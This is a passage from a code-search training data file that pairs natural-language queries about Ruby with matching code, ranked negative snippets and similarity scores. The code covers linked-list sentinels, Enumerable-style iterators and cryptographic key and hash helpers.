crypto_key\n # Returns singleton object\n EmailEncryptionKey.instance.key\n end", "def find_cipher_key(*args)\n fail ArgumentError, 'Unknown key derivation name ', args[1] unless args[1] == 'PBKDF2'\n\n ::OpenSSL::PKCS5.pbkdf2_hmac_sha1(args[2], args[3], args[4], args[0].key_len)\n end", "def rfc4253\n Encoding.encode_fields(\n [:string, algo],\n [:mpint, e],\n [:mpint, n]\n )\n end", "def rfc4253\n Encoding.encode_fields(\n [:string, algo],\n [:mpint, e],\n [:mpint, n]\n )\n end", "def compute_public_key_hash(public_key)\n public_key_der = Core::VirgilKeyPair.public_key_to_der(public_key)\n if use_SHA256_fingerprints\n return generate_hash(public_key_der, HashAlgorithm::SHA256)\n end\n\n generate_hash(public_key_der, HashAlgorithm::SHA512)[0..7]\n end", "def rfc4253\n Encoding.encode_fields(\n [:string, algo],\n [:string, curve],\n [:string, public_key_bytes],\n [:string, application],\n )\n end", "def fingerprint(algorithm='sha1')\n message_digest = R509::MessageDigest.new(algorithm)\n md = message_digest.digest\n md.update(@cert.to_der)\n md.to_s\n end", "def hornerHash( key, tableSize)\n\tsize = key.length\n\th = 0\n\ti = 0\n\twhile (i < size)\n\t\th = (32 * h + key[i].ord) % tableSize\n\t\ti += 1\n\tend\n\treturn h\nend", "def enrollment_code\n OpenSSL::HMAC.hexdigest(\n OpenSSL::Digest.new('sha1'),\n Rails.application.secrets.secret_key_base,\n \"#{id}\"\n ).upcase[0,8]\n end", "def compute_hashkey api_key, params\n joined_params = params.sort.map do |k,v|\n \"#{k}=#{v}\"\n end.join(JOIN_CHAR)\n Digest::SHA1.hexdigest \"#{joined_params}#{JOIN_CHAR}#{api_key}\"\n end", "def initialize(alg)\n super(NAME, KEY_SIZE / 2, KEY_SIZE, alg)\n end", "def initialize(alg)\n super(NAME, KEY_SIZE / 2, KEY_SIZE, alg)\n end", "def key\n raise 'Not implemented'\n end", "def key\n raise 'Not implemented'\n end", "def default_hash_function(plain_token)\n ::Digest::SHA256.hexdigest plain_token\n end", "def hashkey_calculation(query)\n validate(query)\n query += '&' + api_key.to_s\n Digest::SHA1.hexdigest(query)\n end", "def gen_key(record)\n return Digest::SHA2.hexdigest(record.to_s)\n end", "def firewall_pre_shared_key_encoding_method=(value)\n @firewall_pre_shared_key_encoding_method = value\n end", "def key_generator\n self.class.rails_key_generator(secret_key_base)\n end", "def static_key_ecb(message)\n unknown = \"Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK\"\n udecoded = Base64.decode64(unknown)\n\n message_appended = message + udecoded\n message_appended = pkcs7_pad(message_appended, 16)\n\n cipher = encrypt_ecb(message_appended, STATIC_KEY)\nend", "def openssl_name\n CipherSuites::OPENSSL_NAMES[rfc_name]\n end", "def key_length\n key.unpack('b*').first.length\n end", "def strength\n public_key.n.num_bits\n end", "def random_key(length=256)\n _random_seed.unpack('H*')[0][0..((length/8)-1)]\n end", "def set_default_signature_method!\n # self.signature_digest_algorithm = :sha1\n # self.signature_algorithm_id = 'http://www.w3.org/2000/09/xmldsig#rsa-sha1'\n self.signature_digest_algorithm = :sha256\n self.signature_algorithm_id = 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256'\n end", "def encoder\n @encoder ||= SymmetricEncryption::Encoder[encoding]\n end" ]
[ "0.83565164", "0.83121043", "0.80309874", "0.7992818", "0.7698666", "0.7400133", "0.7297444", "0.7293272", "0.72826403", "0.6789599", "0.6434519", "0.6327955", "0.6200459", "0.6154615", "0.60763454", "0.604542", "0.60429096", "0.5964013", "0.59345907", "0.59345907", "0.5933784", "0.588553", "0.58623236", "0.5860533", "0.58594376", "0.5807987", "0.5743622", "0.57350034", "0.5730691", "0.572757", "0.5719207", "0.5675518", "0.56670785", "0.56552565", "0.56346226", "0.5605901", "0.5605419", "0.56051004", "0.5604617", "0.56035143", "0.56026274", "0.5602156", "0.5587204", "0.5583912", "0.557765", "0.55715114", "0.5559005", "0.55513275", "0.5549415", "0.5532948", "0.5524746", "0.55134475", "0.5497384", "0.54584026", "0.54557896", "0.5421722", "0.54214925", "0.54214925", "0.54054236", "0.5389932", "0.53856266", "0.5371196", "0.536985", "0.53586185", "0.5353909", "0.53442556", "0.53418887", "0.5341403", "0.533903", "0.5336504", "0.5336504", "0.5325003", "0.5321383", "0.5321383", "0.52948713", "0.529396", "0.5288193", "0.52621627", "0.52621627", "0.52563477", "0.5249413", "0.52366745", "0.52364147", "0.5234551", "0.52322906", "0.5225981", "0.5225981", "0.5222015", "0.5222015", "0.5220102", "0.52071995", "0.5192481", "0.51909286", "0.51862454", "0.51824147", "0.51647025", "0.5147978", "0.51375836", "0.51301605", "0.5122502", "0.51186436" ]
0.0
-1
head and tail should never be reassigned
def initialize @sentinel_head = Node.new @sentinel_tail = Node.new @sentinel_head.next = @sentinel_tail @sentinel_tail.prev = @sentinel_head end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n @head = nil\n @tail = nil\n end", "def initialize\n @head = nil\n @tail = nil\n end", "def initialize\r\n @head = nil\r\n @tail = nil\r\n end", "def tail=(_); end", "def tail\n curr = head\n curr = curr.next until curr.next.nil?\n curr\n end", "def initialize head, tail\n @head = head\n @tail = tail\n end", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\tend", "def extract_by_begin()\n if @head == @tail\n \t\t@head, @tail = nil\n else\n @head = @head[:next]\n \t\t@tail = @tail[:prev]\n \t\t@tail[:next] = nil\n end\n end", "def initialize(head,tail)\n @head = nil\n @tail = nil\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize()\n \n @head = nil\n @tail = nil \n end", "def extract_tail()\n if @head.nil?\n raise RuntimeError, \"La lista está vacía\"\n else\n if @head == @tail\n @head, @tail = nil\n else\n @tail = @tail[:prev]\n @tail[:next] = nil\n end\n end\n end", "def extract_head()\n if @head.nil?\n raise RuntimeError, \"La lista está vacía\"\n else\n if @head == @tail\n @head, @tail = nil\n else\n @head = @head[:next]\n @head[:prev] = nil\n end\n\n end\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def remove_tail\n if @head == @tail\n @head = @tail = nil\n else\n placeholder = @head\n while placeholder.next != @tail\n placeholder = placeholder.next\n end\n placeholder.next = nil\n @tail = placeholder\n end\n end", "def initialize(head = nil)\r\n\t\t@head = head\r\n\t\t@tail = nil\r\n\tend", "def tail\n last_node(head)\nend", "def tail\n if @head.nil?\n nil\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.nil?\n end\n end", "def initialize\r\n @head = nil\r\n @tail = nil\r\n @size = 0\r\n end", "def add_to_tail(node)\n @head ||= node\n\n @tail.next = node if @tail\n @tail = node\n end", "def initialize(head, tail)\n @head, @tail = head, tail\n end", "def tail\n last_node = head\n while last_node.next_node != nil\n last_node = last_node.next_node\n end\n last_node\n end", "def set_tail(value)\nlast_node(head).next_node = new_node(value)\n end", "def tail\n if head == nil\n \"Theres nothing in the list\"\n else\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n end\n tmp\n end\n end", "def extract_head\n\t\taux = @head.value\n\t\tif(@head == @tail) \n\t\t @head,@tail = nil\n\t\telse \n\t\t @head = @head[:next]\n\t\t @head[:prev] = nil\n\t\tend\t\t\n\t\treturn aux\n\tend", "def tail\n\t\tif @head.next_node != nil\n\t\t\tnode = @head.next_node\n\t\t\twhile node.next_node != nil\n\t\t\t\tnode = node.next_node\n\t\t\tend\n\t\t\tnode\n\t\telse\n\t\t\t@head\n\t\tend\n\tend", "def init4(head)\r\n\traise \"List4 must be initialized with a Node\" unless head.is_a?(Node)\r\n\t@head = head\r\n\t@tail = head\r\nend", "def append\n new_node = Node.new\n\n if @head.nil? #aka empty list (no nodes)\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil #problem alert\n else\n @tail.next_node = new_node\n @tail = new_node\n @tail.next_node = nil #problem alert\n end\n end", "def initialize (head, tail)\n\t\t@head = head\n\t\t@tail = tail\n\tend", "def initialize\n @head = nil\n end", "def tail\n current = @head\n (count - 1).times do\n current = current.next_node\n end\n current\n end", "def initialize(head,tail)\n @head = head\n @tail = tail\n end", "def initialize\n\t @tail=nil\n\t @head=nil\n\t @sz=0\n\tend", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\t\t@largo = 0\n\tend", "def add_to_tail(node)\n if @head == nil # no head exist, so we need to create one\n @head = node\n @tail = @head # both head and tail are same (e.g. n1)\n else\n @tail.next = node # set the pointer (e.g. n1 points to n2)\n @tail = node # then set the new tail value to n2\n end\n end", "def tail\n return nil if @head.nil?\n @tail.data\n end", "def add_to_tail(node)\n if @head.nil?\n @head = node\n @tail = node\n else\n # search_until(nil)\n @tail.next = node\n @tail = node\n end\n end", "def add_to_tail(node)\n return unless node\n self.head ||= node\n self.tail.next = node if self.tail\n self.tail = node\n self.tail.next = nil\n end", "def remove_tail\n if @current == @tail\n @head = nil\n @tail = nil\n else\n search_until(@tail)\n @tail = @current\n end\n end", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\t\t@size = 0\n\tend", "def add_to_tail(node)\n if @head === nil\n @head = node\n @tail = @head\n else\n @tail.next = node\n @tail = node\n end\n end", "def add_to_tail(node)\n if @head === nil\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end", "def initialize\n @size = 0\n @head = nil\n @tail = nil\n end", "def init2_2(foo= Node.new(nil))\r\n\t@head = foo = Node.new(nil)\r\n\t@tail = foo.next = nil\r\nend", "def initialize()\n @head = nil\n @tail = nil\n @size = 0\n end", "def add_to_tail(node)\n if head.nil?\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end", "def add_to_tail(node)\n if @head.nil?\n @head = node\n @tail = @head\n else\n @tail.next = node\n @tail = node\n end\n end", "def end_of_list\n temp = @head\n\n while !temp.next.nil?\n temp = temp.next\n end\n\n temp\n end", "def add_to_tail(node)\n if @head\n @tail.set_next(node)\n @tail = node\n else\n @head = node\n @tail = node\n end\n end", "def reverse(head)\n\n return head\nend", "def add_to_tail(node)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end", "def add_to_tail(node)\n if !self.head\n self.head = node\n self.tail = node\n else\n self.tail.next = node\n self.tail = node \n end\n end", "def insert_tail(value)\n if @head.nil?\n @head = Nodo.new(value, nil, nil)\n @tail = @head\n else\n @tail[:next] = Nodo.new(value, nil, @tail)\n @tail = @tail[:next]\n end\n end", "def tail; end", "def add_to_tail(node)\n if @head == nil\n @head = node\n @tail = node\n else\n @tail.next = node\n @tail = node\n end\n end", "def extraerTail()\n extraer = @tail\n tailActual = @tail.next\n @tail = tailActual\n if tailActual == nil\n @head = nil\n else\n @tail.prev = nil\n end\n @size-=1\n return extraer\n end", "def init1(firstNode = Node.new(nil)) #may want to have firstNode = nil instead\t\t\t\r\n\t@head = firstNode\r\n\t@tail = nil\r\nend", "def init2(firstNode = Node.new(data = nil))\r\n\t@head = firstNode = Node.new(data = nil)\r\n\t@tail = firstNode.next = nil\r\nend", "def extraer_final()\n @head=head.prev\n end", "def add_to_tail(node)\n if @tail.nil?\n @head = node\n else\n @tail.next = node\n end\n @tail = node\n end", "def init5(head)\t\r\n\traise \"List4 must be initialized with a Node\" unless head.is_a?(Node)\r\n\t@head = head\r\n\t@tail = nil\r\nend", "def initialize(head_value = nil, tail_value = nil)\n @head = Node.new(head_value)\n @tail = Node.new(tail_value)\n # If either, but not both, head or tail is nil set size to 1; otherwise 0\n @size = (head_value ^ tail_value) ? 1 : 0\n\n\n # If both head and tail vals are provided\n if head_value && tail_value\n # The head and tail props are already set, so now just set the next on head to tail\n @head.next = @tail\n # and set the prev no tail to head\n @tail.prev = @head\n # The XOR check on size set it to 0 so here is where actual size is set under these conds\n @size = 2\n elsif head_value\n # If only the head val is given, the head is set so this is where tail is set\n @tail = @head\n else\n # In this case, no head was given, but a tail was; set head to the tail node\n @head = @tail\n end\n end", "def initialize\n @head = Node.new(:head)\n @tail = Node.new(:tail)\n @head.next = @tail\n @tail.prev = @head\n # nil on default @head.prev = nil\n # nil on default @tail.next = nil\n end", "def unshift(node)\n if @head.nil?\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def remove_tail\n # Loop through the nodes until gets to the last node\n temp_node = @head\n\n if temp_node == @tail\n @head = nil\n @tail = nil\n else\n while temp_node.next != @tail\n temp_node = temp_node.next\n end\n\n @tail = temp_node\n end\n end", "def add_to_tail(node)\n if self.head.nil?\n\n self.head = node\n self.tail = node\n\n else\n self.tail.next = node\n self.tail = node\n end\n end", "def insert_tail(value)\n\t\tif(empty?)\n\t\t\t@head = Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail[:next] = Node.new(value,nil,@tail)\n\t\t\t@tail = @tail[:next]\n\t\tend\t\t\t\n\tend", "def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n node = @head\n until ((node.nil?) && (node.next.eql?(@tail))) do\n node = node.next\n end\n @tail = node\n @tail.next = nil\n end\n end", "def tail\n C.compose.(head, reverse)\n end", "def remove_front\n if @head == @tail\n @head = nil\n @tail = nil\n else\n @head = @head.next\n end\n end", "def extraer_inicio()\n @tail=tail.next\n \n end", "def remove_front\n self.tail == self.head ? self.head = nil : self.head = self.head.next\n end", "def initialize\n self.head = nil\n self.tail = nil\n self.length = 0\n end", "def add_to_tail(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n self.tail.next = node\n self.tail = node\n end\n end", "def add_to_tail(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n self.tail.next = node\n self.tail = node\n end\n end", "def init1(firstNode = Node.new(data = nil))\r\n\t@head = firstNode\r\n\t@tail = nil\r\nend", "def erase_tail()\n aux = @tail[:next]\n aux[:prev] = nil\n @tail = aux\n end", "def initialize\n self.head = nil\n self.tail = nil\n\t\tself.length = 0\n\tend", "def erase_head()\n aux = @head[:prev]\n aux[:next] = nil\n @head = aux\n end", "def extraerHead ()\n extraer = @head\n headActual = @head.prev\n @head = headActual\n if headActual == nil\n @tail = nil\n else\n @head.next = nil\n end\n @size-=1\n return extraer\n end", "def remove_tail\n if (@head == @tail)\n @head = nil\n @tail = nil\n elsif (@head.next == @tail)\n @head.next = nil\n @tail = @head\n else\n current = head\n while(current.next != nil && current.next != @tail)\n current = current.next\n end\n @tail = current\n end\n end", "def add_to_tail(node)\n if (!@head)\n @head = node\n @tail = node\n elsif (@head == @tail)\n @tail = node\n @head.next = tail\n else\n current = head\n while(current.next != nil)\n current = current.next\n end\n current.next = node\n @tail = node\n end\n end", "def extract_head\n\n\t\taux = @head\n\t\t@head = @head.next\n\t\t\n\t\tif @head != nil\n\t\t\t@tail.next = nil\n\t\telse\n\t\t\t@tail = nil\n\t\tend\n\t\t\n\t\taux.next = nil\n\t\taux.prev = nil\n\n\t\t@size = @size - 1\n\t\treturn aux\n\tend", "def create_chain_for_test(tail_size, loop_size)\n prev_node = start = Node.new\n start.next = start\n return start if loop_size == 1\n (1..tail_size).each do |i|\n prev_node.next = Node.new\n prev_node = prev_node.next\n end\n end_loop = prev_node # <--------------------------\n (1...loop_size).each do |i|\n prev_node.next = Node.new\n prev_node = prev_node.next\n end\n prev_node.next = end_loop\n start\nend", "def extract_head\n raise \"Error la lista no puede estar vacia\" unless (@nodos > 1)\n @nodos = @nodos-1\n segundo = @head.next\n segundo.prev = nil\n oldhead = @head\n @head = segundo\n oldhead\n end", "def insert_tail(*objects)\n objects.each{ |x|\n if(self.empty)\n aux = Node.new(x, @tail, nil)\n @tail = aux\n @head = aux\n else\n aux = Node.new(x, @tail, nil)\n @tail[:prev] = aux\n @tail = aux\n end\n }\n end", "def add_to_front(node)\n @tail ||= node\n node.next = @head if @head\n @head = node\n end", "def tail\n node = @head\n while (node.has_next)\n node = node.next_node\n end\n return node\n end", "def add_head(node) \n if @head.nil?\n @head = node\n @tail = node\n return\n end\n\n @head.prev_node = node\n node.next_node = @head\n @head = node\n @head.prev_node = nil\n end", "def initialize(head,tail = nil)\n if head.instance_of? Nodo\n if tail == nil\n @nodos = 1\n head.prev = nil\n head.next = nil\n @head = head\n @tail = head\n else\n raise \"Error la lista debe contener nodos\" unless ( tail.instance_of? Nodo )\n @nodos = 2\n head.prev = nil\n head.next = tail\n tail.prev = head\n tail.next = nil\n @head = head\n @tail = tail\n end\n else\n if tail == nil\n @nodos = 1\n nodo = Nodo.new(head,nil,nil)\n @head = nodo\n @tail = nodo\n else\n raise \"Error la lista debe contener elementos de la misma clase\" unless ( tail.class == head.class )\n @nodos = 2\n nodo1 = Nodo.new(head,nil,nil)\n nodo2 = Nodo.new(tail,nil,nil)\n nodo1.next = nodo2\n nodo2.prev = nodo1\n @head = nodo1\n @tail = nodo2\n end\n end\n end", "def extract_tail\n raise \"Error la lista no puede estar vacia\" unless (@nodos > 1)\n penultimo = @tail.prev\n penultimo.next = nil\n @nodos = @nodos-1\n oldtail = @tail\n @tail = penultimo\n oldtail\n end", "def add_to_tail(node)\n\n if(@tail)\n @tail.next = node\n @tail = node\n else\n @head = node\n @tail= node\n end\n end", "def initialize\n # If the head is nil it means the list is empty!\n @head = nil\n end", "def initialize\n\t\tself.head = nil\n\t\tself.tail = nil\n\t\tself.length = 0\n\tend", "def head\n\t\t\t@head.next\n\t\tend", "def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n current = @head\n while ((current != nil) && (current.next != @tail)) do\n current = current.next\n end\n @tail = current\n @tail.next = nil\n end\n end", "def add_to_tail(node)\n if self.tail == nil\n self.tail = node\n self.head = node\n node.next = nil\n return\n end\n \n old_tail = self.tail\n old_tail.next = node\n node.next = nil\n self.tail = node\n end", "def double_unsorted_add(item)\n if (@head == nil) and (@tail == nil)\n @head = @tail = Node.new(item,nil,nil)\n elsif @behaviour == :stack\n @head = Node.new(item, @head, nil)\n @head.nxt.prv = @head if @head.nxt\n elsif @behaviour == :queue\n @tail = Node.new(item, nil, @tail)\n @tail.prv.nxt = @tail if @tail.prv\n end\n end", "def reverse_list(head)\n new_list = ListNode.new head.val\n current = head\n\n until current.next_node.nil?\n current = current.next_node\n new_node = ListNode.new current.val, new_list\n new_list = new_node\n end\n\n new_list\nend", "def tail\n return @tail\n end" ]
[ "0.78119224", "0.7686418", "0.75374013", "0.7498581", "0.7479428", "0.74303037", "0.72673434", "0.72660804", "0.72264796", "0.7130956", "0.7116236", "0.70601964", "0.7026725", "0.6991081", "0.69881386", "0.6981664", "0.69754046", "0.69499034", "0.6944459", "0.6937729", "0.68943346", "0.6888701", "0.6880244", "0.6878528", "0.6871484", "0.6868207", "0.6858659", "0.68553495", "0.68040764", "0.6801828", "0.67851794", "0.6775394", "0.67699057", "0.6764433", "0.67596483", "0.67510283", "0.67507833", "0.6722918", "0.6717911", "0.67176574", "0.6708134", "0.6691295", "0.66773105", "0.6676876", "0.6664434", "0.66481787", "0.663715", "0.66217357", "0.66160613", "0.661438", "0.6602546", "0.6600783", "0.6593282", "0.6587145", "0.6584128", "0.65812", "0.6579466", "0.65788686", "0.65723896", "0.6565612", "0.65642357", "0.65559685", "0.654817", "0.6546589", "0.65294874", "0.651603", "0.65127134", "0.65111405", "0.65047306", "0.64976305", "0.6483822", "0.64808923", "0.64763296", "0.6473268", "0.6473252", "0.6473252", "0.6471945", "0.64712584", "0.6468092", "0.6460959", "0.64527994", "0.6451262", "0.6437103", "0.6429452", "0.6424909", "0.6419151", "0.6407617", "0.63994503", "0.6384226", "0.6379127", "0.63747", "0.6374365", "0.63511163", "0.6348864", "0.6347468", "0.6336274", "0.6329863", "0.6325528", "0.6324888", "0.6319629", "0.63058996" ]
0.0
-1
by doing include Enumerable, the module gives us access to `map`, `each_with_index`, `select`, `any?`
def each(&prc) current_node = @sentinel_head.next until current_node == @sentinel_tail prc.call(current_node) current_node = current_node.next end self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def any?(collection)\n collection.each do |element|\n return true if yield(element)\n end\n false\nend", "def any?(array)\n array.each do |el|\n return true if yield(el)\n end\n\n false\nend", "def any?(array)\n array.each do |element|\n return true if yield(element)\n end\n \n false\nend", "def any?(arr)\n arr.each { |el| return true if yield(el) }\n false\nend", "def any?(arr)\n arr.each { |el| return true if yield(el) }\n false\nend", "def any?(array)\n return false if array.empty?\n result = nil\n\n array.each do |element|\n result = yield(element)\n return result if result == true\n end\n\n result\nend", "def my_all?(collection)\n #our counter\n i = 0\n block_return_values = [ ]\n while i < collection.length\n block_return_values << yield(collection[i])\n # yield(collection[i]) go throughe each element in the index.\n i = i + 1\n #i += 1 does the same thing. Use this if it's easier for you.\n\n end\n\n if block_return_values.include?(false)\n false\n else\n true\n end\nend", "def select_all\n map(&:select).all?\n end", "def my_all?(collection)\n i = 0 \n block_return_values = []\n while i < collection.length\n \n # declare our array & yield each element in the collection\n \n block_return_values << yield(collection[i])\n i = i + 1 \n end\n \n # add an ' #include? ' method to determine the return value of the my_all? method.\n \n if block_return_values.include?(false)\n false \n else \n true \n end\nend", "def my_find(collection)\n i = 0\n while i < collection.length\n return collection[i] if yield(collection[i]) #returns the collection element if return is true\n i += 1\n end\n\nend", "def my_all?(collection)\n i = 0\n block_return_values = []\n while i < collection.length\n block_return_values << yield(collection[i]) #or .push, in this case shove is being used.\n i = i + 1 #i += does the same thing. Use this if it's easier for you.\n end\n\n if block_return_values.include?(false)\n false\n else\n true\n end\nend", "def my_select(coll)\n # your code here!\n mod_coll = []\n i=0\n while i < coll.length\n if (yield(coll[i]))\n mod_coll.push(coll[i])\n end\n i = i+1\n end\n mod_coll\nend", "def iterator?() end", "def map(collection)\n result = []\n collection.each { |el| result << yield(el)}\n result\nend", "def my_all?(collection)\n i = 0\n return_value = []\n while i < collection.length\n return_value << yield(collection[i])\n i += 1\n end\n\n # check to see if the return values from yielding contains a false\n if return_value.include?(false)\n false\n else\n true\n end\n\nend", "def any?(collection)\n return false if collection.empty?\n collection.each { |args| return true if yield(args) }\n false\nend", "def my_select(arr)\ncounter = 0\nresults = []\nwhile counter < arr.length\n if yield(arr[counter]) == true\n results.push(arr[counter])\n end\n counter += 1\nend\nresults\nend", "def any?(array)\n array.each do |item|\n check = yield(item) if block_given?\n if check == true\n return true\n else\n next\n end\n end\n false\nend", "def contain_a(array)\n array.select do |element|\n element.include?('a')\n end\nend", "def my_select\n result = []\n i = 0\n while i < self.to_a.length\n if yield self.to_a[i] \n result << self.to_a[i]\n end\n i += 1\n end\n result\n end", "def array_42(a)\n\ta.any?{|x| x == 42}\nend", "def my_find(collection)\n i = 0\n\n while i < collection.length\n # if yield(collection[i])\n # return collection[i]\n # end\n # can refactor if statement all on one line using a statement modifier\n return collection[i] if yield(collection[i])\n i += 1\n end\nend", "def all?(collection)\n collection.each_with_object(true) { |el| return false unless yield(el) }\nend", "def my_select\n i = 0\n result = []\n self.my_each do |x|\n if yield(x)\n result[i] = x\n i += 1\n end\n end\n return result\n end", "def my_any? looking_for\n output = false\n self.my_each {|item| output = true if item == looking_for}\n output\n end", "def my_find (collection) # collection is the array described above, passed to the method my_find\n i = 0 # setting up a counter\n while i < collection.length #while the counter is less than the length of the array do something\n return collection[i] if yield(collection[i]) #this is the \"do something\": send an ellement ([i]) to a block and if\n # it is returned to the method as 'true' then make it the return value of the method\n i+=1 # if the condition above is not met then add one to the counter and cycle through the next element in collection\n end #ends the while statement\nend", "def test_select_selects_certain_items_from_an_array\n array = [1, 2, 3, 4, 5, 6]\n\n even_numbers = array.select { |item| (item % 2) == 0 }\n assert_equal (2..6).step(2).to_a, even_numbers\n\n # NOTE: 'find_all' is another name for the 'select' operation\n more_even_numbers = array.find_all { |item| (item % 2) == 0 }\n assert_equal [2, 4, 6], more_even_numbers\n end", "def contain_a(arr)\n arr.select do |element|\n element.include?(\"a\")\n end\nend", "def my_select\n\ti = 0\n\tarr = Array.new\n\tself.my_each do |a| \n\t\tif yield (a)\n\t\t\tarr[i] = a\n\t\t\ti +=1\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend\n\tarr\nend", "def filter(arr)\n results = []\n each arr do |x|\n if yield(x)\n results << x\n end\n end\n results\nend", "def one?(collection)\n one = false\n\n collection.each do |element|\n next if !yield(element)\n return false if one\n one = !one\n end\n\n one\nend", "def my_one?(array, &prc)\n results = array.select {|ele| prc.call(ele)}\n return 1 == results.length\nend", "def find\n each { |x| return x if yield x }\n end", "def my_select(list)\n result = []\n list.each do |n|\n result << n if yield(n)\n end\n result\nend", "def my_any?\n self.my_each {|x| return true if yield(x) == true}\n false\n end", "def select(collection_of_people, num)\n result = []\n collection_of_people.map do |age|\n result << age if age > num\n end\n return result\nend", "def contain_a(collections)\n collections.select{|element| element.include?(\"a\")}\nend", "def test_any_element_matches\n stream = FromArray.new([2, 4, 6, 8])\n assert(\n stream.any_match { |val| val == 4 },\n 'Stream contains element 4, it should match!'\n )\n end", "def select_from(list, &instructions)\n list.map do |item|\n if instructions.call(item)\n item\n end\n end.compact\nend", "def my_array_finding_method(source, thing_to_find)\n make_string = source.map { |e| e.to_s }\n make_string.select { |e| e.include?(thing_to_find) }\nend", "def one?(collection)\n seen_one = false\n collection.each do |element|\n next unless yield(element)\n return false if seen_one\n seen_one = true\n end\n seen_one\nend", "def my_any?\n status = false\n self.my_each do |item|\n if (yield item) == true\n status = true\n end\n end\n status\n end", "def my_map(proc=nil)\n result = []\n self.to_a.my_each do |item|\n if proc\n result.push(proc.call item)\n elsif block_given?\n result.push(yield item)\n end\n end\n result\n end", "def my_any?\n\t\tvalue = false\n\t\tself.my_select do |element|\n\t\t\tif yield(element)\n\t\t\t\tvalue = true\n\t\t\tend\n\t\tend\n\t\treturn value\n\tend", "def my_select\n arr = []\n self.my_each {|x| arr << x if yield x}\n arr\n end", "def my_select(collection)\n holder = [] #for collection at the end\n counter = 0 #start at beginning of array\n\n while counter < collection.length # condition to be met\n if yield(collection[counter]) == true #if the mumbojumbo results in true *which select gives\n holder.push(collection[counter]) #then push that element into the new array\n end\n counter += 1 #iterate throughout the array incremently\n end\n holder #show everyone your new array\nend", "def each(&a_proc); end", "def select(arr)\n result_arr = []\n \n counter = 0\n while counter < arr.size\n result_arr << arr[counter] if yield(arr[counter])\n end\n \n result_arr\nend", "def map(collection, condition)\n reduced = []\n collection.each do |item|\n reduced << condition.call(item)\n end\n reduced\n end", "def my_any?(arr, &prc)\n arr.each do |ele|\n return true if prc.call(ele)\n end\n false\nend", "def my_map (proc=nil)\n result = []\n my_each do |i|\n result << (proc ? proc.call(i) : yield(i))\n end\n result\n end", "def each_identity; end", "def test_any_match_all\n stream = FromArray.new([2, 4, 6, 8])\n assert(\n stream.any_match { |val| val %2 == 0 },\n 'All elements are even, it should match!'\n )\n end", "def map(array)\n array.each_with_object([]) { |element, results| results << yield(element) }\n# results\nend", "def my_select\n array = []\n self.my_each do |item|\n if (yield item) == true\n array << item\n end\n end\n array\n end", "def map(array)\n result = []\n array.each { |element| result << yield(element) }\n result\n\n# using Enumerable #reduce\n array.reduce([]) { |result, element| result << yield(element)}\nend", "def one?(collection)\n return false if collection.empty?\n\n number_true = 0\n collection.each do |element|\n number_true += 1 if yield(element)\n return false if number_true == 2\n end\n return false if number_true == 0\n true\nend", "def my_find(collection)\n i = 0 \n while i < collection.length \n return collection[i] if\n yield(collection[i])\n i = i += 1 #i can put += if its easier to remember\n end\nend", "def select(array)\n counter = 0\n result = []\n\n while counter < array.size\n current_element = array[counter]\n result << current_element if yield(current_element)\n counter += 1\n end\n\n result\nend", "def my_array_finding_method(source, thing_to_find)\n new_array = source.select do |element|\n element.to_s.include? thing_to_find\n end\n return new_array\nend", "def contain_a(array)\n array.select do |string|\n string.include?('a')\n end\nend", "def map(arr) # creating our own map method\n\tnewArr = [] # declaring an empty array to push our results inside\n\tarr.each do |i| # run the block of code to iterate inside each elements in an array\n\t\tnewArr << yield(i) # push the modified elements inside our newArr []\n\tend\n\tnewArr\nend", "def find_a (arr)\n arr.select do |i|\n i[0] == \"a\"\n end\nend", "def my_array_finding_method(source, thing_to_find)\n ans = source.select {|x| x.to_s.include?(thing_to_find)}\n return ans\nend", "def any?(input)\n if input.class == Array\n input.each do |el|\n return true if yield(el)\n end\n false\n elsif input.class == Hash\n yield(input)\n end\nend", "def select(array)\n final_selections = []\n\n for elem in array do\n result = yield(elem)\n final_selections << elem if result\n end\n \n final_selections\nend", "def filter(array, block)\n return array.select(&block) # Your code here\nend", "def test_map\n array = [1,2,3,4,5,6,7,8]\n array = array.map {|x| x*2}\n assert_equal [2, 4, 6, 8, 10, 12, 14, 16] , array\n end", "def selected_map!(arr, proc_1, proc_2)\r\n arr.each_with_index { |el, i| arr[i] = proc_2.call(el) if proc_1.call(el) }\r\n nil\r\nend", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def my_any?\n return unless block_given?\n self.my_each do |ele|\n if yield ele then return true\n end\n end\n return false\n end", "def include?(array, value)\n # method A\n array.any? { |element| element == value }\n \n # method B\n # for item in array\n # return true if item == value\n # end\n \n # false\nend", "def my_any?\n return self unless block_given?\n for a in self\n if yield(a)\n return true\n end\n end\n return false\n end", "def my_select\n new_arr = []\n self.my_each do |ele|\n new_arr << ele if yield ele\n end\n new_arr\n end", "def map(arr)\n result = []\n arr.each {|element| result << 